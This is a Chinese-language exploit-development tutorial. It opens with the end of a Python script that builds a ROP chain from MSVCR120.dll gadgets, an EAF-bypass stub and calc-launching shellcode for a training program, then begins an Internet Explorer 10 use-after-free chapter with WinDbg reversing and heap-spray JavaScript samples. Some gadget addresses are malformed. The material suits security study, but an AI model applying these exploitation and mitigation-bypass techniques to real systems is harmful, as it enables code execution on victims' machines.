        md + 6b7a000d,     # RETN (ROP NOP) [MSVCR120.dll]
        0x11111111,          # for RETN 0x04
 
        # ecx = args+8 (ptr to &size)
        md + 0x6b7c70e0,     # INC ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x6b7c70e0,     # INC ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x6b7c70e0,     # INC ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x6b7c70e0,     # INC ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
 
        # edx = ptr to size
        md + 0x6b740c46,     # INC EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x6b740c46,     # INC EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x6b740c46,     # INC EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x6b740c46,     # INC EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
 
        # &size = ptr to size
        md + 0x6b77986b,     # MOV DWORD PTR [ECX],EDX # POP EBP # RETN 0x04    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 6b7a000d,     # RETN (ROP NOP) [MSVCR120.dll]
        0x11111111,          # for RETN 0x04
 
        # edx = args
        md + 0x6b7707f0,     # MOV EAX,ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x6b7cfe65,     # SUB EAX,2 # POP EBP # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x6b7cfe65,     # SUB EAX,2 # POP EBP # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x6b7cfe65,     # SUB EAX,2 # POP EBP # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x6b7cfe65,     # SUB EAX,2 # POP EBP # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x6b7146b4,     # XCHG EAX,EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
 
        # EAX = ntdll!RtlExitUserThread
        md + 0x6b760464,     # POP EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x6b7f507c,     # IAT: &ntdll!RtlExitUserThread
        md + 0x6b791e19,     # MOV EAX,DWORD PTR [EAX] # POP ESI # POP EBP # RETN    ** [MSVCR120.dll] **   |  asciiprint,ascii {PAGE_EXECUTE_READ}
        0x11111111,
        0x11111111,
 
        # EAX = ntdll!NtQueryInformationThread
        md + 0x6b72178a,     # ADD EAX,8 # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x6b72178a,     # ADD EAX,8 # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x6b72178a,     # ADD EAX,8 # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x6b778aff,     # ADD EAX,DWORD PTR [EAX] # RETN    ** [MSVCR120.dll] **   |  asciiprint,ascii {PAGE_EXECUTE_READ}
        md + 0x6b77cd87,     # ADD EAX,4 # POP ESI # POP EBP # RETN 0x04    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        0x11111111,
        md + 6b7a000d,     # RETN (ROP NOP) [MSVCR120.dll]
        0x11111111,          # for RETN 0x04
 
        # EAX -> "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"
        md + 0x6b72178a,     # ADD EAX,8 # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x6b748642,     # INC EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x6b748642,     # INC EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x6b748642,     # INC EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
 
        # EBX -> "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"
        md + 0x6b7119e8,     # XCHG EAX,EBX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
 
        # ECX = 0; EAX = 0x4d
        md + 0x6b782485,     # XOR ECX,ECX # MOV EAX,ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x6b760464,     # POP EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x4d,
 
        md + 0x6b750a08,     # JMP EBX
        md + 0x6b7eb1ff,     # JMP ESP
        0x11111111,          # for RETN 0x14
        0x11111111,          # for RETN 0x14
        0x11111111,          # for RETN 0x14
        0x11111111,          # for RETN 0x14
        0x11111111,          # for RETN 0x14
 
    # real_code:
        0x90901eeb,          # jmp skip
 
    # args:
        0xffffffff,          # 当前进程句柄
        0x11111111,          # &address =首地址的指针
        0x11111111,          # &size = 尺寸的指针
        0x40,
        md + 0x6b7f5540,     # &可写地址 [MSVCR120.dll]
    # end_args:
        0x11111111,          # address     <------- the region starts here
        code_size + 8        # size
    # skip:
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
 
 
def write_file(file_path):
    with open(file_path, 'wb') as f:
        ret_eip = md + 6b7a000d       # RETN (ROP NOP) [MSVCR120.dll]
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        disable_EAF = (
            "\xB8\x50\x01\x00\x00" +            # mov    eax,150h
            "\x33\xC9" +                        # xor    ecx,ecx
            "\x81\xEC\xCC\x02\x00\x00" +        # sub    esp,2CCh
            "\xC7\x04\x24\x10\x00\x01\x00" +    # mov    dword ptr [esp],10010h
            "\x89\x4C\x24\x04" +                # mov    dword ptr [esp+4],ecx
            "\x89\x4C\x24\x08" +                # mov    dword ptr [esp+8],ecx
            "\x89\x4C\x24\x0C" +                # mov    dword ptr [esp+0Ch],ecx
            "\x89\x4C\x24\x10" +                # mov    dword ptr [esp+10h],ecx
            "\x89\x4C\x24\x14" +                # mov    dword ptr [esp+14h],ecx
            "\x89\x4C\x24\x18" +                # mov    dword ptr [esp+18h],ecx
            "\x54" +                            # push   esp
            "\x6A\xFE" +                        # push   0FFFFFFFEh
            "\x8B\xD4" +                        # mov    edx,esp
            "\x64\xFF\x15\xC0\x00\x00\x00" +    # call   dword ptr fs:[0C0h]
            "\x81\xC4\xD8\x02\x00\x00"          # add    esp,2D8h
        )
        code = disable_EAF + shellcode
        name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
        f.write(name)
 
write_file(r'd:\name.dat')



ROP链的第一部分初始化位于ROP链尾部的参数:


    # real_code:
        0x90901eeb,          # jmp skip
 
    # args:
        0xffffffff,          # 当前进程句柄
        0x11111111,          # &address =首地址的指针
        0x11111111,          # &size = 尺寸的指针
        0x40,
        md + 0x6b7f5540,     # &可写地址 [MSVCR120.dll]
    # end_args:
        0x11111111,          # address     <------- the region starts here
        code_size + 8        # size


第二个参数(&address)将被end_args覆盖,第三个参数(&size)将被end_args+4覆盖.最后,address(在end_args处)被它自己的地址覆盖(end_args).


注意,我们的代码开始于real_code,所以我们应该将address覆盖为real_code,其实也没有这个必须,因为VirtualProtect修改内存保护属性是会对整个分页起作用的,而real_code和end_args很可能指向同一个分页.


该ROP链的第二部分定位位于ntdll.dll中的call dword ptr fs:[0C0h] # add esp,4 # ret 14h指令序列,并且调用内核服务.


首先运行该Python脚本创建name.dat文件,然后运行Exploitme3.exe.该exploit应该会成功执行!


现在你可以启用所有保护(除了ASR,不适用),验证可知我们的exploit仍然奏效.






















IE10:
IE逆向工程


针对这个漏洞利用,我将使用的实验环境为:VirtualBox虚拟机,操作系统Windows
7 64位SP1,浏览器Internet Explorer 10


下载地址:http://download.microsoft.com/download/3/7/D/37DC542A-AE01-4E4B-99A0-FCFD5F7F19E7/IE10-Windows6.1-x64-zh-cn.exe).




要想成功对 IE 10进行漏洞利用,我们需要同时绕过ASLR和DEP.我们将利用到的是一个UAF漏洞,通过修改一个数组的长度,以至于我们可以读写整个进程地址空间.读/写我们想要的地址空间的能力是一项非常强大的功能.我们可以将其用作两个用途:


1.        
运行ActiveX对象(上帝模式)


2.        
执行常规的shellcode


要从UAF阶段->任意读/写,我们要使用到下面这篇文章中介绍的一种方法.


(文章地址: https://cansecwest.com/slides/2014/The%20Art%20of%20Leaks%20-%20read%20version%20-%20Yoyo.pdf)


但是阅读上面这篇文章并不足以完全理解这种方法,因为其中省略了某些细节,并且我发现理论和实践之间还是存在一些差异的.


我的目标不仅仅是简单地介绍理论方法,而是要为大家展示构建一个完整的漏洞利用程序所要涉及的所有工作.第一步是用WinDbg调试逆向,看看数组和其他一些对象在内存中是如何布局的.




IE逆向工程


我们要分析的一些对象如下:


●  Array(数组)


●  LargeHeapBlock(大堆块)


●  ArrayBuffer(二进制原始缓冲区)


●  Int32Array(32位整数类型数组)


配置WinDbg


现在,你应该已经对WinDbg比较熟悉,并能对其进行适当配置了吧.首先,打开WinDbg(32位版本,以管理员权限运行),按CTRL+S,输入符号路径.例如,我这里是:







记住,第一部分是用于缓存从服务器下载的符号的本地目录.


点击确定,然后点击文件->保存工作空间.


现在运行Internet Explorer
10,接着在WinDbg中通过按F6来附加进程.你将会发现iexplore.exe在进程列表中出现了两次.iexplore.exe的第一个实例是主进程,而第二个实例是与在IE中打开的第一个标签页相关联的进程.如果你再打开其他标签页,你会看到IE进程的更多实例.选择如下图所示的第二个实例:





我用的WinDbg布局如下:





你可以按你喜欢的方式设置这些窗口的布局,然后再次保存工作空间.




Array(数组)


我们首先来介绍Array(数组).通过如下代码创建一个html文件:


<html>
<head>
<script language="javascript">
  alert("Start");
  var a = new Array(0x123);
  for (var i = 0; i < 0x123; ++i)
    a[i] = 0x111;
  alert("Done");
</script>
</head>
<body>
</body>
</html>



在IE中打开这个文件,允许被阻止的内容,当带有开始(Start)文本的消息框弹出来时,运行WinDbg,按F6,跟之前一样将调试器附加到iexplore.exe的第二个实例上去.按F5(运行)恢复执行,关闭IE中弹出的消息框.现在你应该可以看到第二个带了结束(Done)文本的消息框弹了出来.




回到WinDbg中,试下在内存中搜索数组的内容.正如你在源代码中看到的,数组中包含0x111的序列.搜索的命令如下:





什么也没有搜索到!好奇怪…但是即使我们在内存中定位到了该数组,也不足以定位到完成实际分配的代码.所以我们需要一种更为巧妙的方法.




为什么我们不用堆喷射呢?我们来修改一下该代码:


<html>
<head>
<script language="javascript">
  alert("Start");
  var a = new Array();
  for (var i = 0; i < 0x10000; ++i) {
    a[i] = new Array(0x1000/4);     // 0x1000 bytes = 0x1000/4 dwords
    for (var j = 0; j < a[i].length; ++j)
      a[i][j] = 0x111;
  }
  alert("Done");
</script>
</head>
<body>
</body>
</html>



在更新了html文件后,在WinDbg中按(F5)恢复执行,关闭IE中的带有完毕(Done)文本的消息框,重新加载页面(F5).关闭带有开始(Start)文本的消息框,等待第二个消息框的出现.现在,我们通过打开任务管理器来查看一下IE浏览器的内存使用情况:


我们分配了大约550MB内存.我们可以用名为VMMap的应用程序来查看一下我们堆喷射的图示.





VMMap下载地址: https://technet.microsoft.com/en-us/library/dd535533.aspx)


打开VMMap,选择如下图所示iexplore.exe正确的实例:





现在,选择菜单项查看(view)->碎片视图(Fragmentation view).你将会看到如下图示:





黄色区域是通过堆喷射分配的内存.我们来尝试分析一下0x1ffd0000地址处的内存(位于我们数据的中间):





我们稍稍修改一下代码,来确认一下这的确是我们数组中的一项:


<html>
<head>
<script language="javascript">
  alert("Start");
  var a = new Array();
  for (var i = 0; i < 0x10000; ++i) {
    a[i] = new Array(0x1234/4);     // 0x1234/4 = 0x48d
    for (var j = 0; j < a[i].length; ++j)
      a[i][j] = 0x123;
  }
  alert("Done");
</script>
</head>
<body>
</body>
</html>



我们重复上面的过程,结果如下:





正如我们所看到的,现在该数组包含的值为0x247.我们再来试试别的:


<html>
<head>
<script language="javascript">
  alert("Start");
  var a = new Array();
  for (var i = 0; i < 0x10000; ++i) {
    a[i] = new Array(0x1000/4);
    for (var j = 0; j < a[i].length; ++j)
      a[i][j] = j;
  }
  alert("Done");
</script>
</head>
<body>
</body>
</html>



现在,我们可以看到如下图示:





现在该数组中包含了以1开头的奇数序列.我们知道我们的数组包含的数字为:


1 2 3 4 5 6 7 8 9 ...


但是我们看到的是


3 5 7 9 11 13 15 17 19 ...


很明显,数字n被表示为了n*2 + 1.这是为什么呢?大家应该知道,数组中还可以包含对象的引用,所以必须要有一种将数字和地址区分开来的方法.由于地址是4的倍数,通过将任意整数表示为奇数,这样它就永远不会和引用混淆了,但是对于一些诸如0x7fffffff这样的数字,其二进制补码是最大的正数?我们来实验一下:


<html>
<head>
<script language="javascript">
  alert("Start");
  var a = new Array();
  for (var i = 0; i < 0x10000; ++i) {
    a[i] = new Array(0x1000/4);
    a[i][0] = 0x7fffffff;
    a[i][1] = -2;
    a[i][2] = 1.2345;
    a[i][3] = document.createElement("div");
  }
  alert("Done");
</script>
</head>
<body>
</body>
</html>




现在我们的数组看起来像下面这样子:





数字0x7fffffff太大了,所以不能直接存储,IE浏览器是将其作一个JavascriptNumber(Javascript数字)对象的引用来存储的.数字-2是被直接存储的,因为它设置了最高位,不能与地址混淆.


现在,正如你应该知道的,一个对象的第一个DWORD通常是指向其vftable(虚表)的.正如你可以从上图中看到的,这对于确定对象的身份是非常有用的.


现在,我们来定位一下分配该数组的代码位于何处.我们来看一看这里两个可能的头部:





第一个头部告诉我们,分配的块占0x1010个字节.实际上,分配的块中有占0x10字节的头部以及占0x1000字节的实际数据.因为我们已经知道了我们的数组中的一项位于0x1ffd0000地址处,所以我们可以对这两个头部所在的域设置硬件断点(写入断点).这样我们就可以定位到分配该内存块和创建该对象的代码位于何处了.


首先刷新页面,停在了带有开始(Start)文本的消息框处.来到WinDbg中,中断执行(CTRL+Break).现在设置两个断点:





按F5(忽略掉错误消息),关闭IE中弹出的消息框.当第一个断点触发时,查看一下调用堆栈:





我们可以看出三点:


1.      
IE浏览器使用自定义的分配器.


2.      
该数组的类型为jscript9!JS::JavascriptArray.


3.      
该块可能是在我们设置数组第一项值的时候分配的(*).




我们按Shift+F11从当前call中返回.我们到了这里:





我们再次按Shift+F11:





EAX指向缓冲区,所以我们可以在6e1a90e6地址处设置一个断点.为了不依赖该模块特定的基地址,首先我们记下EIP的地址.我们可以从下图看出我们位于jscript9中:





所以,RVA如下图所示:





可以使用如下断点来记录数组的创建(其精确的数据):





需要注意的是,我们需要转义双引号和反斜杠,因为如果不转义的话,它们将作为字符串的一部分.此外,g(运行)命令用于在断点被触发后恢复执行,因为我们并不想中断执行,而仅仅是想打印一条消息.


让我们回到之前的步骤,我们之前设置了两个硬件断点,仅仅只有第一个触发了,所以我们继续.我们再按F5一次,第二个断点触发了,调用堆栈的情形如下:





通过对比前面的两次栈回溯,我们可以看到我们都处在jscript9!Js::JavascriptArray::DirectSetItem_Full这同


一个call中.因此,DirectSetItem_Full首先通过jscript9!Recycler::AllocZero分配0x1010字节的块,然后初始化对象.


但是,如果这些都是jscript9!Js:JavascriptArray::DirectSetItem_Full中发生的话,那么这个时候JavascriptArray的实例已经被创建了呀.我们来尝试一下断它的构造函数.首先我们来确认一下其构造函数确实存在:





我们得到了三个地址.


我们使用bc
*命令删除之前设置过的断点,按F5,刷新IE中的页面.停在了第一个消息框处,我们回到WinDbg中.现在,我们给这三个地址各设置一个断点:





按F5,关闭开始(Start)消息框.恩……完毕(Done)消息框出现了,但是我们刚刚设置的断点一个也没有触发.好奇怪…


我们来看一看我们是否能在符号列表中找出一些有价值的东西:


0:005> x jscript9!Js::JavascriptArray::*
6e32cd4b          jscript9!Js::JavascriptArray::IsEnumerable (<no parameter info>)
6e1ca279          jscript9!Js::JavascriptArray::GetFromIndex (<no parameter info>)
6e2fec11          jscript9!Js::JavascriptArray::BigIndex::BigIndex (<no parameter info>)
6e2fd0ca          jscript9!Js::JavascriptArray::SetEnumerable (<no parameter info>)
6e24e3a4          jscript9!Js::JavascriptArray::EntrySome (<no parameter info>)
6e1cd38b          jscript9!Js::JavascriptArray::HasItem (<no parameter info>)
6e112dc8          jscript9!Js::JavascriptArray::`vftable' = <no type information>
6e2fea58          jscript9!Js::JavascriptArray::BigIndex::SetItem (<no parameter info>)
6e2fd1c9          jscript9!Js::JavascriptArray::IsDirectAccessArray (<no parameter info>)
6e1c8615          jscript9!Js::JavascriptArray::Sort (<no parameter info>)
6e3a4500          jscript9!Js::JavascriptArray::EntryInfo::Map = <no type information>
6e247b96          jscript9!Js::JavascriptArray::EntryIsArray (<no parameter info>)
6e2fcd42          jscript9!Js::JavascriptArray::GetDiagValueString (<no parameter info>)
6e2fcaf0          jscript9!Js::JavascriptArray::GetNonIndexEnumerator (<no parameter info>)
6e2fd432          jscript9!Js::JavascriptArray::Unshift<Js::JavascriptArray::BigIndex> (<no parameter info>)
6e1d6ea0          jscript9!Js::JavascriptArray::EntryReverse (<no parameter info>)
6e1a63cd          jscript9!Js::JavascriptArray::SetLength (<no parameter info>)
6e1c8571          jscript9!Js::JavascriptArray::EntrySort (<no parameter info>)
6e2fd6c1          jscript9!Js::JavascriptArray::ToLocaleString<Js::JavascriptArray> (<no parameter info>)
6e1f1982          jscript9!Js::JavascriptArray::BuildSegmentMap (<no parameter info>)
6e2fced1          jscript9!Js::JavascriptArray::Freeze (<no parameter info>)
6e2fec83          jscript9!Js::JavascriptArray::GetLocaleSeparator (<no parameter info>)
6e3a44f0          jscript9!Js::JavascriptArray::EntryInfo::LastIndexOf = <no type information>
6e1f4ec5          jscript9!Js::JavascriptArray::EntryUnshift (<no parameter info>)
6e2fd851          jscript9!Js::JavascriptArray::ObjectSpliceHelper<unsigned int> (<no parameter info>)
6e2feade          jscript9!Js::JavascriptArray::BigIndex::operator+ (<no parameter info>)
6e11a6df          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6e1f1a82          jscript9!Js::JavascriptArray::ArrayElementEnumerator::ArrayElementEnumerator (<no parameter info>)
6e2fd24f          jscript9!Js::JavascriptArray::IndexTrace<unsigned int>::SetItem (<no parameter info>)
6e1e8821          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6e1aba81          jscript9!Js::JavascriptArray::ConcatArgs<unsigned int> (<no parameter info>)
6e3a4510          jscript9!Js::JavascriptArray::EntryInfo::Reduce = <no type information>
6e189104          jscript9!Js::JavascriptArray::DirectSetItem_Full (<no parameter info>)
6e1ab82d          jscript9!Js::JavascriptArray::EntryConcat (<no parameter info>)
6e3a4490          jscript9!Js::JavascriptArray::EntryInfo::ToString = <no type information>
6e190204          jscript9!Js::JavascriptArray::GetEnumerator (<no parameter info>)
6e3a4430          jscript9!Js::JavascriptArray::EntryInfo::Reverse = <no type information>
6e1f46ac          jscript9!Js::JavascriptArray::EntryIndexOf (<no parameter info>)
6e24e1f1          jscript9!Js::JavascriptArray::EntryEvery (<no parameter info>)
6e3a43e0          jscript9!Js::JavascriptArray::EntryInfo::IsArray = <no type information>
6e2fee95          jscript9!Js::JavascriptArray::JoinOtherHelper (<no parameter info>)
6e2fed9b          jscript9!Js::JavascriptArray::sort (<no parameter info>)
6e24ecde          jscript9!Js::JavascriptArray::EntryFilter (<no parameter info>)
6e2ff07a          jscript9!Js::JavascriptArray::EntryToLocaleString (<no parameter info>)
6e2fd134          jscript9!Js::JavascriptArray::IsConfigurable (<no parameter info>)
6e3a4410          jscript9!Js::JavascriptArray::EntryInfo::Join = <no type information>
6e2fed7e          jscript9!Js::JavascriptArray::CompareElements (<no parameter info>)
6e1f1b16          jscript9!Js::JavascriptArray::InternalCopyArrayElements<unsigned int> (<no parameter info>)
6e2568e5          jscript9!Js::JavascriptArray::IsItemEnumerable (<no parameter info>)
6e1da6f1          jscript9!Js::JavascriptArray::EntrySplice (<no parameter info>)
6e1dfdd0          jscript9!Js::JavascriptArray::EntryToString (<no parameter info>)
6e1f1ae3          jscript9!Js::JavascriptArray::CopyArrayElements (<no parameter info>)
6e2ff608          jscript9!Js::JavascriptArray::PrepareDetach (<no parameter info>)
6e3a43f0          jscript9!Js::JavascriptArray::EntryInfo::Push = <no type information>
6e2fda83          jscript9!Js::JavascriptArray::ObjectSpliceHelper<Js::JavascriptArray::BigIndex> (<no parameter info>)
6e2fd1ef          jscript9!Js::JavascriptArray::DirectSetItemIfNotExist (<no parameter info>)
6e2fd05f          jscript9!Js::JavascriptArray::SetWritable (<no parameter info>)
6e2fcff5          jscript9!Js::JavascriptArray::SetConfigurable (<no parameter info>)
6e2feb41          jscript9!Js::JavascriptArray::BigIndex::operator++ (<no parameter info>)
6e3a44b0          jscript9!Js::JavascriptArray::EntryInfo::IndexOf = <no type information>
6e149cb3          jscript9!Js::JavascriptArray::EntryPush (<no parameter info>)
6e3a4460          jscript9!Js::JavascriptArray::EntryInfo::Sort = <no type information>
6e2fccc3          jscript9!Js::JavascriptArray::SetItemAttributes (<no parameter info>)
6e1913ef          jscript9!Js::JavascriptArray::ArrayElementEnumerator::Init (<no parameter info>)
6e3a4350          jscript9!Js::JavascriptArray::EntryInfo::NewInstance = <no type information>
6e1974bd          jscript9!Js::JavascriptArray::EntryPop (<no parameter info>)
6e149263          jscript9!Js::JavascriptArray::GetItem (<no parameter info>)
6e2fcf8d          jscript9!Js::JavascriptArray::SetAttributes (<no parameter info>)
6e1c4840          jscript9!Js::JavascriptArray::GetItemReference (<no parameter info>)
6e2fcd24          jscript9!Js::JavascriptArray::GetDiagTypeString (<no parameter info>)
6e1cad21          jscript9!Js::JavascriptArray::DeleteItem (<no parameter info>)
6e3a4450          jscript9!Js::JavascriptArray::EntryInfo::Slice = <no type information>
6e2fe9e7          jscript9!Js::JavascriptArray::BigIndex::SetItemIfNotExist (<no parameter info>)
6e3a4530          jscript9!Js::JavascriptArray::EntryInfo::Some = <no type information>
6e1a4160          jscript9!Js::JavascriptArray::EntryJoin (<no parameter info>)
6e3a4470          jscript9!Js::JavascriptArray::EntryInfo::Splice = <no type information>
6e2fcc91          jscript9!Js::JavascriptArray::SetItemAccessors (<no parameter info>)
6e2fcef9          jscript9!Js::JavascriptArray::Seal (<no parameter info>)
6e19c54e          jscript9!Js::JavascriptArray::GetItemSetter (<no parameter info>)
6e18ff73          jscript9!Js::JavascriptArray::GetEnumerator (<no parameter info>)
6e2fd27c          jscript9!Js::JavascriptArray::InternalCopyArrayElements<Js::JavascriptArray::BigIndex> (<no parameter info>)
6e2fe8e4          jscript9!Js::JavascriptArray::BigIndex::DeleteItem (<no parameter info>)
6e24f016          jscript9!Js::JavascriptArray::EntryLastIndexOf (<no parameter info>)
6e1a8d83          jscript9!Js::JavascriptArray::NewInstance (<no parameter info>)       ?--------------------------------
6e3a4520          jscript9!Js::JavascriptArray::EntryInfo::ReduceRight = <no type information>
6e3a44e0          jscript9!Js::JavascriptArray::EntryInfo::ForEach = <no type information>
6e2fed4f          jscript9!Js::JavascriptArray::EnforceCompatModeRestrictions (<no parameter info>)
6e3a4440          jscript9!Js::JavascriptArray::EntryInfo::Shift = <no type information>
6e18e5b7          jscript9!Js::JavascriptArray::SetProperty (<no parameter info>)
6e3a4400          jscript9!Js::JavascriptArray::EntryInfo::Concat = <no type information>
6e147750          jscript9!Js::JavascriptArray::GetProperty (<no parameter info>)
6e2fcf1f          jscript9!Js::JavascriptArray::SetAccessors (<no parameter info>)
6e2fccf2          jscript9!Js::JavascriptArray::SetItemWithAttributes (<no parameter info>)
6e117d85          jscript9!Js::JavascriptArray::IsObjectArrayFrozen (<no parameter info>)
6e244c7c          jscript9!Js::JavascriptArray::GetNextIndex (<no parameter info>)
6e18fa03          jscript9!Js::JavascriptArray::Is (<no parameter info>)
6e2fe7a7          jscript9!Js::JavascriptArray::CopyArrayElements (<no parameter info>)
6e2ff545          jscript9!Js::JavascriptArray::SetLength (<no parameter info>)
6e1c4361          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6e1f47f7          jscript9!Js::JavascriptArray::ArraySpliceHelper (<no parameter info>)
6e1abc1c          jscript9!Js::JavascriptArray::AllocateHead (<no parameter info>)
6e1662e5          jscript9!Js::JavascriptArray::SetPropertyWithAttributes (<no parameter info>)
6e1a3cbe          jscript9!Js::JavascriptArray::HasProperty (<no parameter info>)
6e3a44d0          jscript9!Js::JavascriptArray::EntryInfo::Filter = <no type information>
6e2fe938          jscript9!Js::JavascriptArray::BigIndex::SetItem (<no parameter info>)
6e1e0a89          jscript9!Js::JavascriptArray::EntryMap (<no parameter info>)
6e1a41ec          jscript9!Js::JavascriptArray::JoinHelper (<no parameter info>)
6e2feb6a          jscript9!Js::JavascriptArray::BigIndex::ToNumber (<no parameter info>)
6e191485          jscript9!Js::JavascriptArray::ArrayElementEnumerator::ArrayElementEnumerator (<no parameter info>)
6e1496cf          jscript9!Js::JavascriptArray::IsAnyArrayTypeId (<no parameter info>)
6e32f056          jscript9!Js::JavascriptArray::GetSpecialNonEnumerablePropertyName (<no parameter info>)
6e2febf9          jscript9!Js::JavascriptArray::BigIndex::IsSmallIndex (<no parameter info>)
6e1f41bd          jscript9!Js::JavascriptArray::EntryForEach (<no parameter info>)
6e149384          jscript9!Js::JavascriptArray::SetItem (<no parameter info>)
6e2fd502          jscript9!Js::JavascriptArray::ToLocaleString<Js::RecyclableObject> (<no parameter info>)
6e14437e          jscript9!Js::JavascriptArray::DirectGetItemAt (<no parameter info>)
6e3a4420          jscript9!Js::JavascriptArray::EntryInfo::Pop = <no type information>
6e1509a1          jscript9!Js::JavascriptArray::ForInLoop (<no parameter info>)
6e166445          jscript9!Js::JavascriptArray::GetSetter (<no parameter info>)
6e1daae9          jscript9!Js::JavascriptArray::ArraySegmentSpliceHelper (<no parameter info>)
6e22a6c8          jscript9!Js::JavascriptArray::EntryReduce (<no parameter info>)
6e1f2d5b          jscript9!Js::JavascriptArray::DirectGetItemAtFull (<no parameter info>)
6e2ff18f          jscript9!Js::JavascriptArray::EntryReduceRight (<no parameter info>)
6e1af269          jscript9!Js::JavascriptArray::EntryShift (<no parameter info>)
6e2404a0          jscript9!Js::JavascriptArray::MarshalToScriptContext (<no parameter info>)
6e3a44c0          jscript9!Js::JavascriptArray::EntryInfo::Every = <no type information>
6e2fe994          jscript9!Js::JavascriptArray::BigIndex::DeleteItem (<no parameter info>)
6e249e7e          jscript9!Js::JavascriptArray::PreventExtensions (<no parameter info>)
6e3a4480          jscript9!Js::JavascriptArray::EntryInfo::ToLocaleString = <no type information>
6e24effc          jscript9!Js::JavascriptArray::DeleteProperty (<no parameter info>)
6e2fd3b1          jscript9!Js::JavascriptArray::Unshift<unsigned int> (<no parameter info>)
6e19138b          jscript9!Js::JavascriptArray::FillFromPrototypes (<no parameter info>)
6e1477f6          jscript9!Js::JavascriptArray::GetPropertyReference (<no parameter info>)
6e2fe80a          jscript9!Js::JavascriptArray::TruncateToProperties (<no parameter info>)
6e1c9f96          jscript9!Js::JavascriptArray::EntrySlice (<no parameter info>)
6e245e0f          jscript9!Js::JavascriptArray::JoinToString (<no parameter info>)
6e2fdca0          jscript9!Js::JavascriptArray::ConcatArgs<Js::JavascriptArray::BigIndex> (<no parameter info>)
6e14a4fd          jscript9!Js::JavascriptArray::OP_NewScArray (<no parameter info>)
